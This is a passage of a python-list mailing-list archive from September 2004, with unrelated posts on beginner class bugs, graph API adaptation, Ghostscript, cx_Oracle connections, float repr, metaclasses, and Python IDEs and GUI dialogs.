References: <29179565.0409071136.4147591f@posting.google.com>
	<oKKdnUmLvus3j6PcRVn-gQ@comcast.com>
Message-ID: <29179565.0409081015.5c7a8e9d@posting.google.com>

It's a simple bank-type transaction program. User needs to input
initial starting balance, amount of deposits, amount of withdrawals.
Program needs to do the appropriate math and return status update
showing new balance, total deposits and total withdrawals.

I keep coming up with 2 different results...1 returns an error message
and the other finishes the program but the mathmematics is wrong (it
does not compute deposits and withdrawlas. It only returns intial
balance as new balance.)

Code for error message return is:

(formal code)
from Account import Account
from datetime import date

a = Account()
now = date.today()

print "As of",now,"balance is $",a.getbalance()

(class code)
class Account:
      
     def __init__(self, initial):
         self.balance = initial
     def deposit(self, amt):
         self.balance = balance + amt
     def withdraw(new, amt):
         self.balance = balance - amt
     def getbalance(self):
         return self.balance

Error message that gets returned is:

Traceback (most recent call last):
  File "C:\Python23\Module1a.py", line 4, in -toplevel-
    a = Account()
TypeError: __init__() takes exactly 2 arguments (1 given)



The code that returns new balance only is:

(class code)
class Account:

     def __init__(self, balance):
         self.balance = balance         
     def deposit(self, deposit):
         self.balance = self.balance + deposit
     def withdraw(self, withdraw):
         self.balance = self.balance - withdraw
     def getbalance(self, balance):
         self.balance = bal + deposit - withdraw
         return self.balance

(formal code)
from account1a import Account
from datetime import date

now = date.today()

a = Account()

bal = input("Enter amount of starting balance: $")
dpst = input("Enter amount of deposit: $")
wdrw = input("Enter amount of withdrawal: $")

print "As of",now,"balance is $",a.getbalance()


Appreciate all the assistance I might get.







"Larry Bates" <lbates at swamisoft.com> wrote in message news:<oKKdnUmLvus3j6PcRVn-gQ at comcast.com>...
> You really should post what you have tried and
> any traceback error messages of things that didn't
> work.  A little background explanation of what you
> are trying to do would also be nice.  It's impossible
> for us to venture a guess as to what you might be
> doing wrong or to suggest a methodology without this
> information.
> 
> Regards,
> Larry Bates
> Syscon, Inc.
> 
> "Crypt Keeper" <crypt_keeper at rome.com> wrote in message
> news:29179565.0409071136.4147591f at posting.google.com...
> > I am trying to write a program that asks user for several input items,
> > then takes those items into a class that will manipulate the data and
> > then return a line of output. I am able to input the reuired
> > information, but it's the in-class processing and output line that
> > keeps messing up somehow. I have tried tinkering and tweaking but with
> > no success.
> >
> > How can I take data from the user, manipulate it through a class of
> > steps and then output it all into a line of output?
> >
> > Thanks!!


From pf_moore at yahoo.co.uk  Sat Sep 11 06:09:27 2004
From: pf_moore at yahoo.co.uk (Paul Moore)
Date: Sat, 11 Sep 2004 11:09:27 +0100
Subject: Standard graph API?
References: <slrncik8tm.4g.mlh@furu.idi.ntnu.no>
	<YssWc.503921$Gx4.282534@bgtnsc04-news.ops.worldnet.att.net>
	<slrnciklv0.e8q.mlh@furu.idi.ntnu.no>
	<eppstein-4A56C8.14042623082004@news.service.uci.edu>
	<vCqZc.4817$w%6.3101@newsread1.news.pas.earthlink.net>
	<slrnck1krp.181.mlh@furu.idi.ntnu.no>
	<Sj50d.11652$w%6.5785@newsread1.news.pas.earthlink.net>
Message-ID: <ufz5p5d7s.fsf@yahoo.co.uk>

Andrew Dalke <adalke at mindspring.com> writes:

> Magnus Lie Hetland wrote:
>> Hm. How would the algorithms work without a standard API?
>
> There are certain things the different graphs have in
> common.  For example,
>  1. "test if two nodes/edges are the same"
>  2. "test if two nodes/edges are identically colored"
>  3. "list of all nodes adjacent to a node"
>  4. "list of all edges from a node"  (either directed or
>      undirected)
>  5. "get the appropriate weight"
>
> Different graphs have different ways to do this.

[...]

> The ways to get the properties differ but the things
> you do with them do not change.
>
> I can concieve then some way to generate code
> based on a template, like this
>
>  dfs =  make_code(dfs_template,
>                   args = "node, handler",
>                   bond_neighbors = "node.xatoms",
>                   on_enter = "handler.enter(node)")
>
>   .. make the graph ...
>  class Handler:
>     def enter(self, node):
>       print "Hi", node
>
>  dfs(graph, Handler())

Yuk.

This is *exactly* the type of thing that adaptation (PEP 246,
PyProtocols) is designed to support:

    # pseudo-code here, I don't know the exact PEP 246 code form off
    # the top of my head.
    class IGraph(Protocol):
        def nodes_same(n1, n2):
            "No implementation here - this is just a protocol"
        # etc

    class IDFSVisitor(Protocol):
        # mode protocol defns...

    def dfs(g, h):
        g = adapt(g, IGraph)
        h = adapt(h, IDFSVisitor)
        # code, using standard method names

Now, for your molecular graphs, you just write an adapter to make the
graph conform to the IGraph protocol. In theory, the adaptation
should be maximally efficient (so that you don't have to worry about
overheads of unnecessary wrappers), in practice I don't know how
close PyProtocols comes (although I believe it's good).

>> To clarify, by API I here mean a protocol, i.e. a definition of how a
>> graph is supposed to behave -- *not* a standard implementation.
>
> I think we're talking about the same thing -- the sorts
> of things you can do with nodes and edges, and not a
> statement that a node or edge has a given property or method.
>
>> I've been thinking a bit about the use of object adaptation here; I
>> think it would be quite perfect. One possibility would be to use the
>> functionality of PyProtocols, but that's hardly standard... But it
>> would allow you to do stuff like
>>   graph = AdjacencyMap(someStrangeMolecularGraph)
>>   # or graph = adapt(someStrange..., AdjacencyMap)
>>   graphAlgorithm(graph)

Yes, this (to me) would be ideal. The issue of not being standard is
a bit circular - it's not standard because there aren't enough
examples of where it is needed, but people don't use it because it's
not standard.

I believe Guido also has some concerns over how interfaces "should"
work - but he's unlikely to do anything about that unless someone
forces the issue by championing PEP 246. It might be worth asking
Philip Eby if he would be happy to see PyProtocols added to the
standard library.

> The problem is all the conversion from/to my graph
> form to the standard graph form.  Either the adapters
> have to be live (so the modification to the standard
> form get propogated back to my graph) or there needs
> to be conversions between the two.  Both sound slow.

My understanding is that a well-written adapter can be very
efficient. But I don't know in practice how that is achieved. And
obviously, a particular operation will never be efficient if the
underlying representation can't support it efficiently.

>> Wouldn't it be *much* better to use the established (but not standard)
>> mechanism of object adaptation, as championed in PEP 246 and as
>> implemented and extended upon in PyProtocols?
>
> Not really.  Consider the events that could occur in a
> DFS.  There's
>   - on enter
>   - on exit
>   - on backtrack
> and probably a few more that could be used in a general
> purpose DFS.  But I might need only one of them.  With
> a PE 246 adapter I can adapt my graph to fit the algorithm,
> but if I don't need all of those events there's no way
> to adapt the algorithm to fit my needs.

You could adapt a visitor class to fit a standard DFS-visitor
protocol.

> (Yes, even though I'm using Python I'm still worried
> about efficiency.)

I worry about efficiency, as well. But my experiments showed call
overhead as the killer - adding an "on backtrack" callback to the
algorithm, and calling it with a visitor which had a null
implementation of the callback still added a chunk of overhead. Caling
a "do-nothing" callback for each node in a 10,000 node graph isn't
free. Of course, this argues for the template "build code on the fly"
approach, which I don't relish. Anyone know another good way of
avoiding this overhead?

>> (If only adapt() could become a standard library function... <sigh> ;)
>
> Perhaps someday, when people get more experience with it.
> I've not yet used it.

It needs a champion. Someone to do the work to get it into the
library. We have a PEP, and an implementation (PyProtocols) so I
suspect that it's a job that wouldn't require huge technical skills.

> I found that 'is' testing for my graphs is much better.
> At the very least, it's a lot faster (no method call overhead).

You're never going to avoid a method call in any standard - there's
going to be *someone* for whom "is" is inappropriate. So the standard
will have to cater for that.

Paul.
-- 
Home computers are being called upon to perform many new functions,
including the consumption of homework formerly eaten by the dog --
Doug Larson


From cjankowski at hbr-inc.com  Wed Sep 15 14:01:52 2004
From: cjankowski at hbr-inc.com (Chris Jankowski)
Date: 15 Sep 2004 11:01:52 -0700
Subject: ghostscript
References: <a1301a8e.0409071007.14ea6f5e@posting.google.com>
Message-ID: <a1301a8e.0409151001.76d30fe3@posting.google.com>

cjankowski at hbr-inc.com (Chris Jankowski) wrote in message news:<a1301a8e.0409071007.14ea6f5e at posting.google.com>...
> Hi all,
> I am still fairly new to the Python community and world of Python
> programming.
> 
>   I am having some trouble changing the output directory when I call
> Ghostscript.
> Any sugguestions would be greatly appreciated.  It seems to work fine,
> if I put the file in a directory that I am calling it from, like
> outputdir = './temp' or I use the "C" drive w/ outputdir = ''.  All I
> am doing is converting a .pdf to a .tif.
> 
> device = 'jpeg'
> print pdffile
> pdffile = 'c:/Chris_J_Stuff/chris.pdf'
> outputdir = "c:\\Chris_J_Stuff\\"
> print pdffile
> print outputdir
> suffix = 'tif'
> os.system(ghost_dir + ' -dNOPAUSE -dQUIET -sBATCH -sDEVICE=%s
> -sOUTPUTFILE=%    s/page%%d.%s %s' % (device, outputdir,suffix,
> pdffile))
>         
> 
> Thank you in advance.
> 
> Chris J.

There is a limit on the length of the command line to pass to
Ghostscript.  I have not figured out how to get around this yet.

CJ


From maney at pobox.com  Sun Sep  5 11:29:31 2004
From: maney at pobox.com (Martin Maney)
Date: Sun, 5 Sep 2004 15:29:31 +0000 (UTC)
Subject: age of Python programmers
References: <mailman.1859.1092833285.5135.python-list@python.org>
	<6amZc.17353$ni.8118@okepread01>
	<822221bb04090109167035d328@mail.gmail.com>
	<mailman.2753.1094102613.5135.python-list@python.org>
	<ch7udg$nln$1@panix3.panix.com>
Message-ID: <chfbcr$121$2@wheel2.two14.net>

Aahz <aahz at pythoncraft.com> wrote:
> In article <mailman.2753.1094102613.5135.python-list at python.org>,
> Andrew Durdin  <adurdin at gmail.com> wrote:
>>
>>There seem to be a lot of Pythoneers who started with BASIC -- I guess
>>that's what came with most "home computers" in those days. I started
>>at 8 with BASIC on an Amstrad CPC6128 (though I played games more than
>>I wrote programs :).

> Except that I started with BASIC on an HP1000.

Let's see.  Sometime before high school I happened across a book in the
library that caught my attention: it was about programming for business
apps, I think, because the paper machine they described worked in
decimal.  There may have been a simulator extant, but it would have
required a mainframe, so I was attracted by nothing more than the game
of figuring out how to make things happen in this imaginary assembler
code.  Of course I wasn't ever able to test any of my designs, which is
probably why I lost interest.

The first program I wrote and actually ran was written in IITRAN, a
reasonably high-level (by contemporary standards), interpreted
langauge, then key punched, catenated with a few job control cards, and
popped into the reader of the 1108 at IIT's computer center.  I learned
to hate batch turnaround delays - luckily I wouldn't have to put up
with them ever again, as I went without computer access for some years
after that.  By the time a few of us were sharing the construction and
use of Eric's IMSAI box, it was floppies that caused much of the
annoying delays.  I did finally use a BASIC dialect there, but I can't
recall its name.  It was quite nice as BASICs go, having line numbers
only if you wanted them and pretty good control structures so that you
didn't need to build everything out of gotos (and line numbers, I
guess).  Then BDS's subset C compiler came out...

Didn't mean to go on at such length - lazy Sunday morning effect, I
guess.  Anyway, the amusing observation I wanted to make before I
digressed was just that I had probably read Dijkstra's opinion (Basic
causes brain damage) before I ever had much to do with a version of the
language.  (or perhaps I misremember - that seems to come from EWD498,
which I have only, that I can find, in a collection of Dijkstra's work
published in 1982.  In "How do we tell truths that might hurt?" he says
"Is is practically imposible to teach good programming to students that
have a prior exposure to BASIC; as potential programmers they are
mutilated beyond hope of regeneration."  Yep, lazy Sunday morning...)

-- 
automation: replacing what works with something that almost works,
but which is faster and cheaper.  - attributed to Roger Needham


From indigo at bitglue.com  Wed Sep 15 22:55:16 2004
From: indigo at bitglue.com (Phil Frost)
Date: Wed, 15 Sep 2004 22:55:16 -0400
Subject: Incrementing a string
In-Reply-To: <pan.2004.09.15.22.08.19.894702@cox.net>
References: <pan.2004.09.15.22.08.19.894702@cox.net>
Message-ID: <20040916025516.GA11457@unununium.org>

#### begin sample program ####

import string

class LabelCounter(object):
    digits = string.lowercase

    def __init__(self, value=0):
        self.value = value

    def __str__(self):
        letters = []
        i = self.value
        while i:
            d, m = divmod(i, len(self.digits))
            letters.append(self.digits[m])
            i = d
        return ''.join(letters[::-1]) or self.digits[0]

    def __add__(self, other):
        return LabelCounter(self.value + other)

    def __lt__(self, other):
        return self.value < other

    # define other operators as needed; it's a shame this can't inherit from
    # int and get these for free. It can't do this because all of int's
    # operators return ints, not LabelCounters.


i = LabelCounter(0)
while i < 50:
    print i
    i += 1

#### end sample program ####

You can set 'digits' to any sequence at all. Set it to '01' to get
output in binary, or to ['01','23','45','67','89'] to get base 5 in a
very confusing notation *g*

On Wed, Sep 15, 2004 at 03:08:20PM -0700, John Velman wrote:
> I've used perl for a lot of 'throw away' scripts;  I like Python better in
> principle, from reading about it, but it was always easier to just use
> perl rather than learn python.
>
> Now I'm writing a smallish program that I expect to keep around, so am
> taking this opportunity to try to learn some Python.  I have a need for
> computer generated set of simple string lables.  I don't know how many in
> advance---each is produced as a result of a user action.
>
> In perl I simply initiated
>
>    $label= "a";
>
> Then, after using it doing
>
>     $label++;
>
> This conveniently steps through the alphabet, then goes on to aa, ab,ac,
> ...
>
> In Python I can get from a to z with a generator as so:
>
> >>> def gen_alph():
> ...     for i in range(97,123):
> ...         yield chr(i)
> ...
> >>> g = gen_alph()
> >>> g.next()
> 'a'
> >>> g.next()
> 'b'
> >>> g.next()
> 'c'
>
> But it looks like going beyond z to aa and so on is (relatively) complicated.
>
> In truth, it seems unlikely that I would ever go beyond z in using my
> application, and certainly not beyond zz which wouldn't be too hard to
> program.  But I hate to build in limitations no matter how reasonable.
>
> It seems like there should be a better way that I'm missing because I'm
> thinking in perl, not thinking in Python.  :-)
>
> Best,
>
> John Velman
> --
> http://mail.python.org/mailman/listinfo/python-list


From martin at v.loewis.de  Tue Sep 21 01:56:09 2004
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Tue, 21 Sep 2004 07:56:09 +0200
Subject: build 64bit python on Solaris
In-Reply-To: <cinvi4$ndj$1@news1nwk.SFbay.Sun.COM>
References: <cinvi4$ndj$1@news1nwk.SFbay.Sun.COM>
Message-ID: <414fc272$0$19020$9b622d9e@news.freenet.de>

Jhy-Chun Wang wrote:
> Any idea what went wrong? what configuration/compiler options should I 
> use to build a 64bit python on Solaris?

As a starting point, try using a 32-bit Python. There is no advantage
in using a 64-bit Python I can see.

If you must have a 64-bit Python, try turning off the optimization in
your compiler, and make sure you have the latest compiler patches
applied.

Regards,
Martin


From fluxent at yahoo.com  Thu Sep 16 09:47:50 2004
From: fluxent at yahoo.com (Bill Seitz)
Date: 16 Sep 2004 06:47:50 -0700
Subject: newbie sending hex values over UDP socket
References: <e2491a75.0409091744.53fab172@posting.google.com>
	<chr22o$7ra$1@news.service.uci.edu>
	<e2491a75.0409141127.6bb5cf0a@posting.google.com>
	<qOGdnf1RP5VfyNrcRVn-oA@powergate.ca>
	<e2491a75.0409151352.129bdc6b@posting.google.com>
	<U7ydnYPTdJKtW9XcRVn-hQ@powergate.ca>
Message-ID: <e2491a75.0409160547.11d26d38@posting.google.com>

Peter Hansen <peter at engcorp.com> wrote in message news:<U7ydnYPTdJKtW9XcRVn-hQ at powergate.ca>...
> Bill Seitz wrote:
> 
> > Current stump in this area: taking current time (time.time()) and
> > delivering as 4-byte blob.
> > 
> >>>>t= int(time.time())
> >>>>format = 'l'
> >>>>struct.pack(format,t)
> > 
> > '\x10\xb7HA'
> 
> What's wrong with this one?  Note that it is a 4-byte
> blob, as requested.  You can always check that with
> len(s).  In this case, len('\x10\xb7HA') == 4.
> 
> -Peter

Weird, I guess I'm not used to reading that format - it sure looks
like 3 bytes to me. I guess I need to read up some more to get a
better grasp... and until then use len() instead of my eyes! :)


From pf_moore at yahoo.co.uk  Thu Sep 30 17:18:09 2004
From: pf_moore at yahoo.co.uk (Paul Moore)
Date: Thu, 30 Sep 2004 22:18:09 +0100
Subject: Oracle Access via cx_Oracle
References: <mailman.4031.1096406259.5135.python-list@python.org>
Message-ID: <ufz4zv4ku.fsf@yahoo.co.uk>

"Greg Lindstrom" <greg.lindstrom at novasyshealth.com> writes:

>>Shouldn't this be '/u01/app/oracle/product/9.2.0' ? Based on the following
> values, that's what I'd expect.
> I changed the ORCALE_HOME environment variable to the above suggested value
> and got a new error!!  That's progress, right?  I'm now told:
>  cx_Oracle.DatabaseError: ORA-12154: TNS:could not resolve service name
> /usr/bin/sh: cx_Oracle.DatabaseError:: not found
> Is this any help?

It is, insofar as this means that Oracle is doing the right thing, but
can't find the database. So let's check how we are telling Oracle
where the database is...

First, when you connect using SQL*Plus, you connect something like
this:

    sqlplus user/password at database

Here, "database" is what Oracle refers to as a "connect string",
which translates to IP/port/SID using the Oracle TNSNAMES.ORA file.

> myIP = "ww.xx.yy.zzz"
> myPort = nnnn
> myDsn = cx_Oracle.makedsn(myIP, myPort, 'test1')

This, on the other hand, constructs a connection descriptor (what a
connect string translates to) by hand. Something like

  (DESCRIPTION =
    (ADDRESS_LIST =
      (ADDRESS = (PROTOCOL = TCP)(HOST = ww.xx.yy.xxx)(PORT = nnnn))
    )
    (CONNECT_DATA = (SID = test1))
  )

> oracle = cx_Oracle.connect(myUid, myPwd, myDsn)

Instead of this, could you try

oracle = cx_Oracle.connect(myUid, myPwd, 'database')

where 'database' here is the bit of the SQL*Plus command abover after
the '@' sign? That should make cx_Oracle connect using *exactly* the
same connection descriptor as SQL*Plus uses. If that works, we can
look at why your makedsn call isn't constructing the same descriptor.
(Or, more likely, you can just use the literal connect string that
works, and not bother about gory Oracle details :-))

[elsewhere]
> Yes, I can hit the Oracle database on the remote (posix) machine with
> SQL*Plus running on my Windows box.  Does that help me out? Please excuse my
> ignorance...I've been using MS-SQL Server for the past 4 or 5 years.

Hang on. Is your Python script running on the Windows box? If so, the
os.putenv stuff is both irrelevant and wrong. On Windows, you don't
need any environment variables. Just skip all the putenv stuff.

Hope this helps,
Paul.

PS If you don't follow any of the above, could you just paste into
your reply the *exact* SQL*Plus command that you use which works for
you. I can then give you a more specific example to try.
-- 
The most likely way for the world to be destroyed, most experts agree,
is by accident. That's where we come in; we're computer professionals.
We cause accidents. -- Nathaniel Borenstein


From heikowu at ceosg.de  Mon Sep 20 06:37:28 2004
From: heikowu at ceosg.de (Heiko Wundram)
Date: Mon, 20 Sep 2004 12:37:28 +0200
Subject: uncompressed size of .gz file
In-Reply-To: <cimaig$v3e$1@sea.gmane.org>
References: <000001c49ed3$35125b20$0a0c10ac@che2003>
	<200409201121.58282.heikowu@ceosg.de> <cimaig$v3e$1@sea.gmane.org>
Message-ID: <200409201237.28937.heikowu@ceosg.de>

Am Montag, 20. September 2004 12:16 schrieb Fredrik Lundh:
> If it had been "native", I'd used "=" instead of "<".  It never hurts to
> read the relevant RFC before posting:

That's why I said: "I don't know, and read up." :-) Seems strange to me that a 
format which is to be portable doesn't use big-endian, though, because pretty 
much everything else does...

Heiko.


From m.h.3.9.1.without.dots.at.cam.ac.uk at example.com  Tue Sep 28 09:55:07 2004
From: m.h.3.9.1.without.dots.at.cam.ac.uk at example.com (Michael Hoffman)
Date: Tue, 28 Sep 2004 14:55:07 +0100
Subject: floating point glitch
In-Reply-To: <kj0il0ddfqg7tebggk6qbnm6cvp5jumt87@4ax.com>
References: <415295E6.9040602@ericsson.com>
	<l5ncl0horoifsmbadp6pu3sgje8ca2srf3@4ax.com>
	<cj5v5i$7vk$1@pegasus.csx.cam.ac.uk>
	<7xhdple624.fsf@ruckus.brouhaha.com>
	<kj0il0ddfqg7tebggk6qbnm6cvp5jumt87@4ax.com>
Message-ID: <cjbqfv$kdm$1@pegasus.csx.cam.ac.uk>

Tim Roberts wrote:

> Right!  That's the point.  str() is the perfect solution in those cases
> where you want the language to lie to you.  In many cases, that IS what you
> want.  repr() is the perfect solution when you need an invertible function.

repr() does not provide an invertible function if you are using it on a 
list, as was pointed out here, since list.__repr__() essentially calls 
str() for its float members rather than repr().
-- 
Michael Hoffman


From jmfbahciv at aol.com  Thu Sep  2 09:09:41 2004
From: jmfbahciv at aol.com (jmfbahciv at aol.com)
Date: Thu, 02 Sep 04 13:09:41 GMT
Subject: Xah Lee's Unixism
References: <7fe97cc4.0408251356.34f2102a@posting.google.com>
	<%T%Yc.29567$Es2.11957889@news4.srv.hcvlny.cv.net>
	<du7k6vfnvx9.fsf@amadeus.cc.tut.fi>
	<4134a207$0$65568$a1866201@newsreader.visi.com>
	<j-OdnS-Q8aADqKjcRVn-tQ@speakeasy.net>
	<4135ce4a$0$19726$61fed72c@news.rcn.com>
	<Pine.LNX.4.61.0409011503400.4389@ppepc56.ph.gla.ac.uk>
Message-ID: <41372e62$0$19727$61fed72c@news.rcn.com>

In article <Pine.LNX.4.61.0409011503400.4389 at ppepc56.ph.gla.ac.uk>,
   "Alan J. Flavell" <flavell at ph.gla.ac.uk> wrote:
>On Wed, 1 Sep 2004 jmfbahciv at aol.com wrote:
>
>> You'ld probably get further about who's on first by knowing that
>> the guy who did OS-8 also did TOPS-10 monitor work.
>
>I have here my manual of the "Cambridge Multiple-Access System - 
>User's Reference Manual" (that's Cambridge, England) dated 1968.  The 
>file system hierarchy separator is "/".

And slash was used as a command modifier on the -10s.
File specification parsing used :: : [ ] < > , .
(Note that I did not use punctuation in that last sentence;
all those characters denoted a piece of a full file specification.
A slash said, "Here comes an exception to the last phrase
of the command."  

>
>I don't know where -they- got the convention from in the first place, 
>admittedly.

Trial and error.  Historic usage.  Typability.  Printability.
Not to mention the limitations of characters defined in the
ASCII-1964 standard.


>
>ObPDP:  the TITAN system had a PDP7 as a peripheral device, sort-of.

I don't think I ever met a PDP-7.

/BAH

Subtract a hundred and four for e-mail.


From DesertLinux at netscape.net  Wed Sep 15 14:02:08 2004
From: DesertLinux at netscape.net (Byron)
Date: Wed, 15 Sep 2004 18:02:08 GMT
Subject: Convert Dictionary to String, vice versa?
Message-ID: <As%1d.951$0i5.675@newsread3.news.pas.earthlink.net>

Hello,

I am a newbie and would like to know if it is possible to convert a 
string back to a dictionary?

For example, I can convert a dictionary to a string by doing this:

	>>> names = {"Candy" : 2.95, "Popcorn" : 4.95}
	>>> strNames = str(names)
	>>> print strNames
	{'Popcorn': 4.9500000000000002, 'Candy': 2.9500000000000002}

However,  is there a way to convert a string back to a dictionary?

Any help is very much appreciated!

Byron
---


From ville at spammers.com  Mon Sep 20 05:36:41 2004
From: ville at spammers.com (Ville Vainio)
Date: 20 Sep 2004 12:36:41 +0300
Subject: python is going to die! =(
References: <mailman.3520.1095631846.5135.python-list@python.org>
	<Omo3d.17502$QJ3.11149@newssvr21.news.prodigy.com>
	<mailman.3524.1095636290.5135.python-list@python.org>
Message-ID: <du7fz5dqo2e.fsf@amadeus.cc.tut.fi>

>>>>> "Julio" == julio  <julioperezsosa at yahoo.com> writes:

    Julio> mmm , i like to program , i like open source i hate m$ , i
    Julio> like python , i dont like c# cause its still in m$ domains
    Julio> , i like c# monodevelop and sharpdevelop and there is no
    Julio> real python ide avaiable so i dont have to memorize the
    Julio> 2000 libraries and functions and their behavior to think
    Julio> about programing seriusly, and the python proyects,adoption
    Julio> and development is decreasing more and more. so ..

I don't really believe in extrapolating too much from the textual
characteristics of your post, but I think you'd do much better by
picking a statically typed language like C# for your proyects.

-- 
Ville Vainio   http://tinyurl.com/2prnb


From carribeiro at gmail.com  Tue Sep 28 06:45:43 2004
From: carribeiro at gmail.com (Carlos Ribeiro)
Date: Tue, 28 Sep 2004 07:45:43 -0300
Subject: Metaclass with name overloading.
In-Reply-To: <tyfacvag7h4.fsf@pcepsft001.cern.ch>
References: <tyfekkoeyk2.fsf@pcepsft001.cern.ch>
	<mailman.3957.1096289972.5135.python-list@python.org>
	<tyfacvag7h4.fsf@pcepsft001.cern.ch>
Message-ID: <864d37090409280345616060a2@mail.gmail.com>

On 28 Sep 2004 09:47:51 +0200, Jacek Generowicz
<jacek.generowicz at cern.ch> wrote:
> Carlos Ribeiro <carribeiro at gmail.com> writes:
> 
> > On 27 Sep 2004 13:33:33 +0200, Jacek Generowicz
> > <jacek.generowicz at cern.ch> wrote:
> 
> [...]
> 
> > > I was wondering whether it would be possible to achieve this by
> > > forcing Python to use some dicitonary proxy (which accumulates
> > > values, rather that keeping just the last value to be associated
> > > with a key), instead of dict, when executing the class definiton?
> 
> [...]
> 
> > No, you can't, and it's not just a parser issue. Python uses direct
> > C calls to the native dict type. It's hard coded,
> 
> I feared this would be the case.
> 
> > p.s. In the particular case of the original poster, I'm wondering
> > what kind of application did he had in mind.
> 
> A standalone, lightweight SWIG-like tool, in this case. But in
> general, I've had cause to wonder about declarative syntaxes in Python
> every now and then.

I'm also exploring declarative alternatives for a lot of stuff in
Python. It started explicitly as an experiment, mainly because I could
not rationally explain why I did 'feel' that it was the right approach
for a class of applications: form definitions, reports, webpage
templates, etc. Now I think that I'm beginning to get a better
understanding that allows me to articulate better *why* should I
(ab)use Python for declarative programming, instead of using a data
driven approach with XML, or creating my own mini-declarative
language. In short, the argument goes like this:

Generic templating mechanisms start as simple variable substitution
engines, but as they start to be used, there's the need to add control
structures (if, for, etc); it's also needed to provide more ways for
the template to communicate with the main program, exchanging
variables and values. At this point, wouldn't be better to write all
templates in the main programming language of the system?

> Thanks, to all who contributed ideas to the thread, particularly Alex,
> Thomas and Lenard.

I learned a lot through this thread. As a matter of fact, I used your
problem as an exercise on decorators :-) And I think that, while still
exploring and making some (dumb) mistakes, I'm beginning to feel
comfortable with the more esoteric introspection features of Python.

After looking Lenard example, I've come to think about other
alternatives. There are a some interesting things that can still be
done, some even more esoteric than all stuff that we've done so far. A
generic solution for this problem would greatly simplify my own
search, and I'll keep looking for it.

-- 
Carlos Ribeiro
Consultoria em Projetos
blog: http://rascunhosrotos.blogspot.com
blog: http://pythonnotes.blogspot.com
mail: carribeiro at gmail.com
mail: carribeiro at yahoo.com


From kdahlhaus at yahoo.com  Tue Sep 14 12:42:41 2004
From: kdahlhaus at yahoo.com (Kevin Dahlhausen)
Date: 14 Sep 2004 09:42:41 -0700
Subject: Sample distutil setup.py script that uses SWIG and C++?
References: <283adf56.0409130434.2ae0ba73@posting.google.com>
	<8ad8ad0a.0409131252.59881a85@posting.google.com>
Message-ID: <283adf56.0409140842.2f71353c@posting.google.com>

Thanks for the responses.   Not forcing a depdency on swig makes sense
to me, so I'm going with that for the moment.  I will take a look at
pyMinGW too.


From jzgoda at gazeta.usun.pl  Sun Sep  5 06:06:57 2004
From: jzgoda at gazeta.usun.pl (Jarek Zgoda)
Date: Sun, 5 Sep 2004 10:06:57 +0000 (UTC)
Subject: Linux application deployment
Message-ID: <cheog1$ns4$1@atlantis.news.tpi.pl>

What you consider a "best way to deploy linux python app"? I don't want
to install library modules into user's site-packages, so distutils is no
help. Currently, I change sys.path (adding directory where library
modules are stored) and I ask users to install application into /opt
hierarchy, but I don't think it's optimal.

-- 
Jarek Zgoda
http://jpa.berlios.de/


From daniel at syrinx.net  Tue Sep 14 11:43:34 2004
From: daniel at syrinx.net (Daniel Ellison)
Date: Tue, 14 Sep 2004 11:43:34 -0400
Subject: [OT] Re: Ranting about the state of Python IDEs for Windows
In-Reply-To: <ci7352$ijm$1@news-reader1.wanadoo.fr>
References: <864d3709040913131077f1732d@mail.gmail.com>	<HLEGKHKIKMEHENBAEIEPAEEFCIAA.ben@benlast.com>
	<mailman.3307.1095171351.5135.python-list@python.org>
	<ci7352$ijm$1@news-reader1.wanadoo.fr>
Message-ID: <2qohofF11r4inU2@uni-berlin.de>

Eric Brunel wrote:

> Carlos Ribeiro wrote:
> [snip]
> 
>> p.s. I know that there is another solution for this problem... but
>> involves money (a lot of). Have a couple of big monitors (21',
>> anyone?), side by side, and open as many windows as you wish. Position
>> them where you want them to be, without overlapping. That's happiness
>> :-)
> 
> 
> You may not have to go as far as that: XDesk 
> (http://www.xdesksoftware.com/xdesk.html) allows you to create several 
> virtual desktops on the same screen on Windows, similar to the 
> workspaces you can find in many X window managers like KDE or 
> WindowMaker. It's a commercial product, but there's a free version; it 
> has fewer functions, but is perfectly usable.
> 
> HTH

There's also VirtuaWin (http://virtuawin.sourceforge.net/). I've used it 
for a few years and it's quite stable.

Dan


From godoy at ieee.org  Fri Sep 17 10:53:32 2004
From: godoy at ieee.org (Jorge Godoy)
Date: Fri, 17 Sep 2004 11:53:32 -0300
Subject: gui - wait for dialog to close
References: <mailman.3442.1095420495.5135.python-list@python.org>
Message-ID: <m3fz5hymj7.fsf@g2ctech.com>

Ajay <abra9823 at mail.usyd.edu.au> writes:

> hi!
>
> i have an application which requires a username
> what i am trying to do is when the application runs, a dialog window
> appears which prompts the user for his name. once thats entered, the
> dialog box is destroyed, the username stored and the application gui is
> drawn
>
> i tried doing this by adding a wait_window call in my application GUI's
> init.
> the idea was to suspend execution till the username is entered and the
> dialog box destroyed before continuing.
>
> that didn't work
> how can i do this? i have the option of creating the dialog box and when
> the username is entered then in the function that handles the username,
> create the rest of the GUI. i was wondering if there is any other way

Which of the several toolkits are you using?  In wxPython you can use
one of the provided dialogs or create a new modal dialog... 

-- 
Godoy.     <godoy at ieee.org>


From usenet_spam at janc.invalid  Wed Sep  1 00:45:27 2004
From: usenet_spam at janc.invalid (JanC)
Date: Wed, 01 Sep 2004 04:45:27 GMT
Subject: OT: simple compiled languages?
References: <7xzn4fu188.fsf_-_@ruckus.brouhaha.com>
Message-ID: <Xns955744BDAF3E9JanC@213.118.38.197>

Paul Rubin schreef:

> I'm wondering what other languages clpy'ers are familiar with, that
> have simple implmentations with compilers.

Never used it, but found this in my bookmarks:

B-Flat  (32-bit DOS compiler for a "C-like programming language")
<http://www.freedos.org/news/news/news.cgi?q=f&a=html.archive/0910.html>


-- 
JanC

"Be strict when sending and tolerant when receiving."
RFC 1958 - Architectural Principles of the Internet - section 3.9


From no at no.com  Tue Sep 28 06:15:01 2004
From: no at no.com (richard)
Date: Tue, 28 Sep 2004 10:15:01 GMT
Subject: no ideas?
References: <pAa6d.315483$vG5.75864@news.chello.at>
	<cjbd9e$ltm$1@news2.wdf.sap.corp>
Message-ID: <FQa6d.315546$vG5.202573@news.chello.at>

ups, thx ! 




From mfuhr at fuhr.org  Mon Sep 20 10:08:32 2004
From: mfuhr at fuhr.org (Michael Fuhr)
Date: 20 Sep 2004 08:08:32 -0600
Subject: Psycopg and threads problem
References: <cimj9q$7jr$1@netlx020.civ.utwente.nl>
Message-ID: <414ee460$1_2@omega.dimensional.com>

Alban Hertroys <alban at magproductions.nl> writes:

> I'm using psycopg to insert records in a number of threads. After the 
> threads finish, another thread runs to collect the inserted data. Now, 
